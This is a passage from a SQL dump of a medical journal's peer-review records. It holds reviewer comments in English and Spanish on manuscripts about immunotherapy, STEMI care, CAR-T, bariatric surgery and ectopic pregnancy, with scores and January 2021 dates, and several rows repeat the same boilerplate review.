a summation of results of studies on immunotherapy and studies on immunotherapy that would attract readers to read the full article and conclusions with recommendations that would ensure the need for further studies are highlighted. \r\nKey Words must be provided at the end of the abstract. Introduction to the article that illustrates the need for clinicians to be aware of the usefulness of immunotherapy based upon achievements that have been made so far and the need to understand the process of immunotherapy should be highlighted. The Aims of the study must be provided. The Methods of the study must be included. Results. The results should not be written as a didactic lecture and every iteration of yours must be supported with references in chronological order of 1 to the last reference number and all the references must be written in full. The results should also include examples of studies that had been undertaken on immunotherapy and the outcome in comparison with studies with non-utilization of immunotherapy that show the usefulness of immunotherapy and which highlight the need for further studies. The conclusions that are written must be available in the results section from which the conclusions have been derived. table 1 should be provided with a source of reference to be credited if the table is not your own. Conflict of interest should be provided. Acknowledgements should be included to include any group that had supported you with your study or granted permission for reproduction of their table and state the copyright statement associated with the permission to reproduce the figures. Do not present the article as a didactic theoretical academic scientific paper which you are giving taking into consideration that many readers are clinicians who should be convinced about the way forwards with immunotherapy. Do not be discouraged about the comments in that the comments would help you re-write the article with a focus on relevant salient areas that should be included and not make it appear as if the statements are your own. Additionally there is no reference 86 or 91 in your reference section. Pay attention to the details of all references that must be included in chronological order.     ','The article has been presented like didactic lecture referring to the original sources that had made the iterations and when these are published would lead to complaints or even litigation. The article needs major revision and should not be published in the current format. My recommendations to the authors are summated as follows: \r\nThere are a number changes you need to make in order for your journal article to meet the standard for publication which means that you need to provide a major revision of the article including \r\n(A) A revision of the abstract with background aim method, results and conclusions. a summation of results of studies on immunotherapy and studies on immunotherapy that would attract readers to read the full article and conclusions with recommendations that would ensure the need for further studies are highlighted. \r\nKey Words must be provided at the end of the abstract. Introduction to the article that illustrates the need for clinicians to be aware of the usefulness of immunotherapy based upon achievements that have been made so far and the need to understand the process of immunotherapy should be highlighted. The Aims of the study must be provided. The Methods of the study must be included. Results. The results should not be written as a didactic lecture and every iteration of yours must be supported with references in chronological order of 1 to the last reference number and all the references must be written in full. The results should also include examples of studies that had been undertaken on immunotherapy and the outcome in comparison with studies with non-utilization of immunotherapy that show the usefulness of immunotherapy and which highlight the need for further studies. The conclusions that are written must be available in the results section from which the conclusions have been derived. table 1 should be provided with a source of reference to be credited if the table is not your own. Conflict of interest should be provided. Acknowledgements should be included to include any group that had supported you with your study or granted permission for reproduction of their table and state the copyright statement associated with the permission to reproduce the figures. Do not present the article as a didactic theoretical academic scientific paper which you are giving taking into consideration that many readers are clinicians who should be convinced about the way forwards with immunotherapy. Do not be discouraged about the comments in that the comments would help you re-write the article with a focus on relevant salient areas that should be included and not make it appear as if the statements are your own. Additionally there is no reference 86 or 91 in your reference section. Pay attention to the details of all references that must be included in chronological order. Please encourage the authors to re-write the articles based upon my recommendations and recommendations of other reviewers taking into consideration the fact that my recommendations are based upon my opinion only and that the opinion of other authors do matter. I have attached my comments and corrections to the article which I have attached for the readers to scrutinize and develop further for re-submission   ','2021-01-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2897,14805,6973,NULL,'5','d','n','N','N','Good and interesting research ','Good and interesting research ','2021-01-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2907,15746,6971,NULL,'4','G','y','y','y','FACTORES ASOCIADOS AL TIEMPO DE ATENCIÓN DE PACIENTES CON DIAGNÓSTICO DE STEMI SOMETIDOS A TERAPIA DE REPERFUSIÓN EN DOS CLÍNICAS DE IBAGUÉ\"\r\n\r\nLeí este manuscrito y creo que podría ser un texto aceptable si se aclaran y corrigen ciertos aspectos.\r\n\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\n\r\nSugiero que, por favor, los autores verifiquen los siguientes comentarios:\r\n\r\n-Resumen:\r\nEl resumen debe proporcionar contexto o antecedentes para la investigación y debe mencionar su propósito, los procedimientos básicos (selección de sujetos para el estudio y métodos), los principales hallazgos (proporcionando los tamaños de los efectos específicos y su significación estadística, si es posible) y la principales conclusiones. Debe hacerse hincapié en aspectos nuevos e importantes del estudio o las observaciones. La estructura a seguir es: Objetivo, Ubicación, Participantes, Intervenciones, Principales mediciones, Resultados y Conclusiones.\r\n\r\n-Diseño del estudio:\r\nParece ser un estudio retrospectivo.\r\n\r\nEl autor debe comentar las desventajas de este diseño (estudio retrospectivo), que a menudo está sujeto a sesgos (errores que afectan las observaciones de una investigación); Por ejemplo, en la recopilación de datos.\r\n\r\n-Grupos de edad:\r\n¿Por qué se eligen estos grupos de edad?\r\n\r\nLas clases que clasifican los grupos de edad no son las habituales y podrían dificultar la comparación con otros estudios. \"La agrupación debe ser de mediados a mediados de la década o en grupos de cinco años (por ejemplo, 35-44 o 35-39, 40-44, etc., pero no 20-29, 30-39 u otros grupos)\". Por ejemplo, se puede ver más en: Edad en el análisis epidemiológico. J Epidemiol Community Health 2003; 57: 397. http://jech.bmj.com/content/57/6/397.full\r\n\r\n-Tablas:\r\n\r\nEn variables dicotómicas (como Sí / No), basta con escribir una de las dos posibilidades (obviamente el resto es el otro valor de la variable)\r\n\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en:\r\n\r\nhttps://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n\r\n-Palabras clave:\r\n\r\nPara las palabras clave, se deben utilizar términos equivalentes a los de la lista Medical Subjects Headings (MeSH) del Index Medicus (disponible en https://meshb.nlm.nih.gov/search). La equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y el correspondiente en inglés del MeSH se puede consultar en http://decs.bvs.br/E/homepagee.htm\r\n\r\n','FACTORES ASOCIADOS AL TIEMPO DE ATENCIÓN DE PACIENTES CON DIAGNÓSTICO DE STEMI SOMETIDOS A TERAPIA DE REPERFUSIÓN EN DOS CLÍNICAS DE IBAGUÉ\"\r\n\r\nLeí este manuscrito y creo que podría ser un texto aceptable si se aclaran y corrigen ciertos aspectos.\r\n\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\n\r\nSugiero que, por favor, los autores verifiquen los siguientes comentarios:\r\n\r\n-Resumen:\r\nEl resumen debe proporcionar contexto o antecedentes para la investigación y debe mencionar su propósito, los procedimientos básicos (selección de sujetos para el estudio y métodos), los principales hallazgos (proporcionando los tamaños de los efectos específicos y su significación estadística, si es posible) y la principales conclusiones. Debe hacerse hincapié en aspectos nuevos e importantes del estudio o las observaciones. La estructura a seguir es: Objetivo, Ubicación, Participantes, Intervenciones, Principales mediciones, Resultados y Conclusiones.\r\n\r\n-Diseño del estudio:\r\nParece ser un estudio retrospectivo.\r\n\r\nEl autor debe comentar las desventajas de este diseño (estudio retrospectivo), que a menudo está sujeto a sesgos (errores que afectan las observaciones de una investigación); Por ejemplo, en la recopilación de datos.\r\n\r\n-Grupos de edad:\r\n¿Por qué se eligen estos grupos de edad?\r\n\r\nLas clases que clasifican los grupos de edad no son las habituales y podrían dificultar la comparación con otros estudios. \"La agrupación debe ser de mediados a mediados de la década o en grupos de cinco años (por ejemplo, 35-44 o 35-39, 40-44, etc., pero no 20-29, 30-39 u otros grupos)\". Por ejemplo, se puede ver más en: Edad en el análisis epidemiológico. J Epidemiol Community Health 2003; 57: 397. http://jech.bmj.com/content/57/6/397.full\r\n\r\n-Tablas:\r\n\r\nEn variables dicotómicas (como Sí / No), basta con escribir una de las dos posibilidades (obviamente el resto es el otro valor de la variable)\r\n\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en:\r\n\r\nhttps://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n\r\n-Palabras clave:\r\n\r\nPara las palabras clave, se deben utilizar términos equivalentes a los de la lista Medical Subjects Headings (MeSH) del Index Medicus (disponible en https://meshb.nlm.nih.gov/search). La equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y el correspondiente en inglés del MeSH se puede consultar en http://decs.bvs.br/E/homepagee.htm\r\n\r\n','2021-01-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2908,11354,6973,NULL,'4','R','Y','Y','Y','Table may be revised to have a legend. Conclusion may be revised to confirm the time indicated as December 2016, and re-check the references.','','2021-01-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2909,12022,6960,NULL,'4','G','y','y','y','He leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEs cierto que el texto aporta poco a lo que se puede encontrar en los libros de texto especializados convencionales. Hubiera sido preferible centrarse en las áreas no aclaradas, o en discusión, en vez de una revisión general acrítica.\r\nEn cualquier caso, felicito a los autores.\r\nSugiero que, por favor, el autor revise los siguientes comentarios:\r\n-Abreviaturas: La primera vez que aparece una abreviatura en el texto, su significado debe estar completamente escrito (el resumen no es un buen lugar para incluir abreviaturas, porque confunden al lector). \r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo y debería acortarse.\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nSe requiere una sección clara del método utilizado.\r\nHay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\nSi se trata de una revisión narrativa los autores deben aclarar las limitaciones de ese tipo de revisión.\r\nSi se trata de una revisión sistemática, los autores deben tener en cuenta que en una revisión sistemática deben incluir, al menos, los siguientes datos:\r\n-¿Qué bases de datos se utilizaron? ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n-Claridad acerca de las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa se relaciona con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados ( recomendaciones que se hacen con evidencia débil).\r\n-Debe existir algún sistema para reportar la calidad y fuerza de la recomendación, como el sistema GRADE (Indica hasta qué punto podemos confiar en que la estimación del efecto de la intervención es correcta y hasta qué punto podemos confiar en que la implementación de la recomendación traer más beneficios que riesgos).\r\n-Debe haber una determinación de la heterogeneidad.\r\n-Debe haber un análisis de subgrupos (a menudo es interesante examinar una categoría especial de participantes en la revisión (por ejemplo, mujeres, un grupo de edad o la gravedad de la enfermedad).\r\n- Debe de haber una determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto estudios publicados como no publicados para evitar incurrir en sesgos de selección).\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión”.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en:\r\nhttps://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n-Palabras clave:\r\nPara las palabras clave, se deben utilizar términos equivalentes a los de la lista Medical Subjects Headings (MeSH) del Index Medicus (disponible en https://meshb.nlm.nih.gov/search). La equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y el correspondiente en inglés del MeSH se puede consultar en http://decs.bvs.br/E/homepagee.htm\r\n','He leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEs cierto que el texto aporta poco a lo que se puede encontrar en los libros de texto especializados convencionales. Hubiera sido preferible centrarse en las áreas no aclaradas, o en discusión, en vez de una revisión general acrítica.\r\nEn cualquier caso, felicito a los autores.\r\nSugiero que, por favor, el autor revise los siguientes comentarios:\r\n-Abreviaturas: La primera vez que aparece una abreviatura en el texto, su significado debe estar completamente escrito (el resumen no es un buen lugar para incluir abreviaturas, porque confunden al lector). \r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo y debería acortarse.\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nSe requiere una sección clara del método utilizado.\r\nHay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\nSi se trata de una revisión narrativa los autores deben aclarar las limitaciones de ese tipo de revisión.\r\nSi se trata de una revisión sistemática, los autores deben tener en cuenta que en una revisión sistemática deben incluir, al menos, los siguientes datos:\r\n-¿Qué bases de datos se utilizaron? ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n-Claridad acerca de las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa se relaciona con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados ( recomendaciones que se hacen con evidencia débil).\r\n-Debe existir algún sistema para reportar la calidad y fuerza de la recomendación, como el sistema GRADE (Indica hasta qué punto podemos confiar en que la estimación del efecto de la intervención es correcta y hasta qué punto podemos confiar en que la implementación de la recomendación traer más beneficios que riesgos).\r\n-Debe haber una determinación de la heterogeneidad.\r\n-Debe haber un análisis de subgrupos (a menudo es interesante examinar una categoría especial de participantes en la revisión (por ejemplo, mujeres, un grupo de edad o la gravedad de la enfermedad).\r\n- Debe de haber una determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto estudios publicados como no publicados para evitar incurrir en sesgos de selección).\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión”.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en:\r\nhttps://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n-Palabras clave:\r\nPara las palabras clave, se deben utilizar términos equivalentes a los de la lista Medical Subjects Headings (MeSH) del Index Medicus (disponible en https://meshb.nlm.nih.gov/search). La equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y el correspondiente en inglés del MeSH se puede consultar en http://decs.bvs.br/E/homepagee.htm\r\n','2021-01-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2910,12776,6887,NULL,'5','g','y','y','y','The aim of this study was to determine echocardiographic baseline data of normal adult left ventricular (LV) geometry in Nnewi community setting of Anambra state, Nigeria. The study determined normal dimensions of interventricular septum (IVS), left ventricular internal diameter (LVIDd/LVIDs), and left ventricular posterior wall (LVPW) in diastole and systole of the included subjects. Author well determined echocardiographic baseline normal adult left ventricular geometry in the study population.  Good work accepted for publication\r\n\r\n','Good work','2021-01-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2914,12875,7067,NULL,'5','R','Y','M','Y','A well-designed retrospective study. The authors have demonstrated the nerve entrapment, Lidocaine injection site, and neurectomy with good visuals. The reduction in BMI and Weight after the surgery well documented, but instead of median 2-3 ranges of weight and BMI loss and their association (if any) with nerve entrapment could have been added. A brief note on the need and urgency of Bariatric surgery in the study population and consequent projections of treatments tried or even the neurectomy during the first surgery could add value','A good epidemiological study of the Unexplained abdominal pain after bariatric surgery and management deserves Publishing.','2021-01-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2920,11355,6973,NULL,'3','R','Y','Y','Y','The author reviewed one of the cancer immunology therapy method --Car-T. The manuscript was not well written? There are several points need to be  noticed.\r\n1.The style of the manuscript does not meet the requirement of this journal.\r\n2.The English expression is not very concise, the manuscript looked very lengthy. There are also some grammar mistakes. \r\n3.Reference citations should be labeled in the context.\r\n4.If the most recent publications could be cited that will be good.\r\n5.There are some typing mistakes. For Ex. Many abbreviations in the parentheses do not match  the full names. Reference No. 22, No.23.\r\n6.Schematic drawing may help reader understand what is Car-T. \r\n','','2021-01-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2921,15676,6996,NULL,'5','g','y','y','y','Second trimester abdominal cervical ectopic pregnancies are rare and life threatening. Early diagnosis and treatment are paramount in reducing maternal morbidity and mortality. This study describes an unusually late diagnosis of abdominal pregnancy despite multiple ultrasounds beginning in early pregnancy.\r\nThis study demonstrates the difficulty in diagnosing cervical ectopic pregnancies but also highlights the importance of training in the obstetric and gynaecology departments as recommended by the Obstetrics and Gynaecology Society to eliminate possible suspected complications.\r\nGood work accepted for publication\r\n','Accepted','2021-01-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2922,15676,6996,NULL,'5','g','y','y','y','Second trimester abdominal cervical ectopic pregnancies are rare and life threatening. Early diagnosis and treatment are paramount in reducing maternal morbidity and mortality. This study describes an unusually late diagnosis of abdominal pregnancy despite multiple ultrasounds beginning in early pregnancy.\r\nThis study demonstrates the difficulty in diagnosing cervical ectopic pregnancies but also highlights the importance of training in the obstetric and gynaecology departments as recommended by the Obstetrics and Gynaecology Society to eliminate possible suspected complications.\r\nGood work accepted for publication\r\n','Accepted','2021-01-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2923,5467,7077,NULL,'5','g','y','y','y','\r\n- This is an interesting study and the authors have collected a unique dataset using cutting-edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion, the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-I have provided some remarks on the text as it is often vague and long-winded, highlighted remarks inside the article provided.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with the same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per search\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Where improvements are needed, a recommendation for major revision is typical.\r\n\r\n- I am ready to do the post-revision review too. \r\n\r\n-Review title as first.\r\n\r\n-Add name of author, affiliation, qualifications abbreviations after title\r\n-the English is understandable but the paper has some typographical and grammatical errors\r\n-Add any conflict of interest\r\n-Add any acknowledgements\r\n-Add any sponsorship or financial support\r\n- Keep images, graphs and data tables in clear view at end of article\r\n- You need to check referencing for accuracy, adequacy and balance.\r\n\r\n-limit research article to maximum 1000 words.\r\n\r\n-add more keywords.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Good research, worthy for study\r\n- the Abstract highlights the important findings of the review of fertilizers.\r\n-the tables or figures, aid understanding and superfluous\r\n- the research Is relevant and interesting\r\n- good sampling in analytical papers\r\n -clarify the validity of questions, the use of a detailed methodology and the data analysis being done systematically (in qualitative research)\r\n- good reviews of all types and modalities of fertilizers used for agriculture in India\r\n- the paper\'s premise is interesting and important\r\n- the methods used are appropriate\r\n- the data support the conclusions\r\n\r\n\r\n','','2021-01-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2924,5467,7077,NULL,'5','g','y','y','y','\r\n- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-I have provided some remarks on the text as it is often vague and long-winded, highlighted remarks inside article provided.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per search\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Where improvements are needed, a recommendation for major revision is typical.\r\n\r\n- I am ready to do the post-revision review too. \r\n\r\n-Review title as first.\r\n\r\n-Add name of author, affiliation, qualifications abbreviations after title\r\n-the English is understandable but the paper has some typographical and grammatical errors\r\n-Add any conflict of interest\r\n-Add any acknowledgements\r\n-Add any sponsorship or financial support\r\n- Keep images, graphs and data tables in clear view at end of article\r\n- You need to check referencing for accuracy, adequacy and balance.\r\n\r\n-limit research article to maximum 1000 words.\r\n\r\n-add more keywords.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Good research, worthy for study\r\n- the Abstract highlights the important findings of the review of fertilizers.\r\n-the tables or figures, aid understanding and superfluous\r\n- the research Is relevant and interesting\r\n- good sampling in analytical papers\r\n -clarify the validity of questions, the use of a detailed methodology and the data analysis being done systematically (in qualitative research)\r\n- good reviews of all types and modalities of fertilizers used for agriculture in India\r\n- the paper\'s premise is interesting and important\r\n- the methods used are appropriate\r\n- the data support the conclusions\r\n\r\n\r\n','','2021-01-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2925,5467,6681,NULL,'5','g','y','y','y','\r\n- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-I have provided some remarks on the text as it is often vague and long-winded, highlighted remarks inside article provided.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per search\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Where improvements are needed, a recommendation for major revision is typical.\r\n\r\n- I am ready to do the post-revision review too. \r\n\r\n-Review title as first.\r\n\r\n-Add name of author, affiliation, qualifications abbreviations after title\r\n-the English is understandable but the paper has some typographical and grammatical errors\r\n-Add any conflict of interest\r\n-Add any acknowledgements\r\n-Add any sponsorship or financial support\r\n- Keep images, graphs and data tables in clear view at end of article\r\n- You need to check referencing for accuracy, adequacy and balance.\r\n\r\n-limit research article to maximum 1000 words.\r\n\r\n-add more keywords.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Good research, worthy for study\r\n- the Abstract highlights the important findings of the review of fertilizers.\r\n-the tables or figures, aid understanding and superfluous\r\n- the research Is relevant and interesting\r\n- good sampling in analytical papers\r\n -clarify the validity of questions, the use of a detailed methodology and the data analysis being done systematically (in qualitative research)\r\n- good reviews of all types and modalities of fertilizers used for agriculture in India\r\n- the paper\'s premise is interesting and important\r\n- the methods used are appropriate\r\n- the data support the conclusions\r\n\r\n\r\n','','2021-01-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2926,5467,6681,NULL,'4','g','y','y','y','\r\n- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-I have provided some remarks on the text as it is often vague and long-winded, highlighted remarks inside article provided.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per search\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Where improvements are needed, a recommendation for major revision is typical.\r\n\r\n- I am ready to do the post-revision review too. \r\n\r\n-Review title as first.\r\n\r\n-Add name of author, affiliation, qualifications abbreviations after title\r\n-the English is understandable but the paper has some typographical and grammatical errors\r\n-Add any conflict of interest\r\n-Add any acknowledgements\r\n-Add any sponsorship or financial support\r\n- Keep images, graphs and data tables in clear view at end of article\r\n- You need to check referencing for accuracy, adequacy and balance.\r\n\r\n-limit research article to maximum 1000 words.\r\n\r\n-add more keywords.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Good research, worthy for study\r\n- the Abstract highlights the important findings of the review of fertilizers.\r\n-the tables or figures, aid understanding and superfluous\r\n- the research Is relevant and interesting\r\n- good sampling in analytical papers\r\n -clarify the validity of questions, the use of a detailed methodology and the data analysis being done systematically (in qualitative research)\r\n- good reviews of all types and modalities of fertilizers used for agriculture in India\r\n- the paper\'s premise is interesting and important\r\n- the methods used are appropriate\r\n- the data support the conclusions\r\n\r\n\r\n','','2021-01-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2927,5467,6665,NULL,'5','G','y','y','y','\r\n- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-I have provided some remarks on the text as it is often vague and long-winded, highlighted remarks inside article provided.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per search\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Where improvements are needed, a recommendation for major revision is typical.\r\n\r\n- I am ready to do the post-revision review too. \r\n\r\n-Review title as first.\r\n\r\n-Add name of author, affiliation, qualifications abbreviations after title\r\n-the English is understandable but the paper has some typographical and grammatical errors\r\n-Add any conflict of interest\r\n-Add any acknowledgements\r\n-Add any sponsorship or financial support\r\n- Keep images, graphs and data tables in clear view at end of article\r\n- You need to check referencing for accuracy, adequacy and balance.\r\n\r\n-limit research article to maximum 1000 words.\r\n\r\n-add more keywords.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Good research, worthy for study\r\n- the Abstract highlights the important findings of the review of fertilizers.\r\n-the tables or figures, aid understanding and superfluous\r\n- the research Is relevant and interesting\r\n- good sampling in analytical papers\r\n -clarify the validity of questions, the use of a detailed methodology and the data analysis being done systematically (in qualitative research)\r\n- good reviews of all types and modalities of fertilizers used for agriculture in India\r\n- the paper\'s premise is interesting and important\r\n- the methods used are appropriate\r\n- the data support the conclusions\r\n\r\n\r\n','','2021-01-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2928,5467,6665,NULL,'4','g','y','y','y','v\r\n- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-I have provided some remarks on the text as it is often vague and long-winded, highlighted remarks inside article provided.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per search\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Where improvements are needed, a recommendation for major revision is typical.\r\n\r\n- I am ready to do the post-revision review too. \r\n\r\n-Review title as 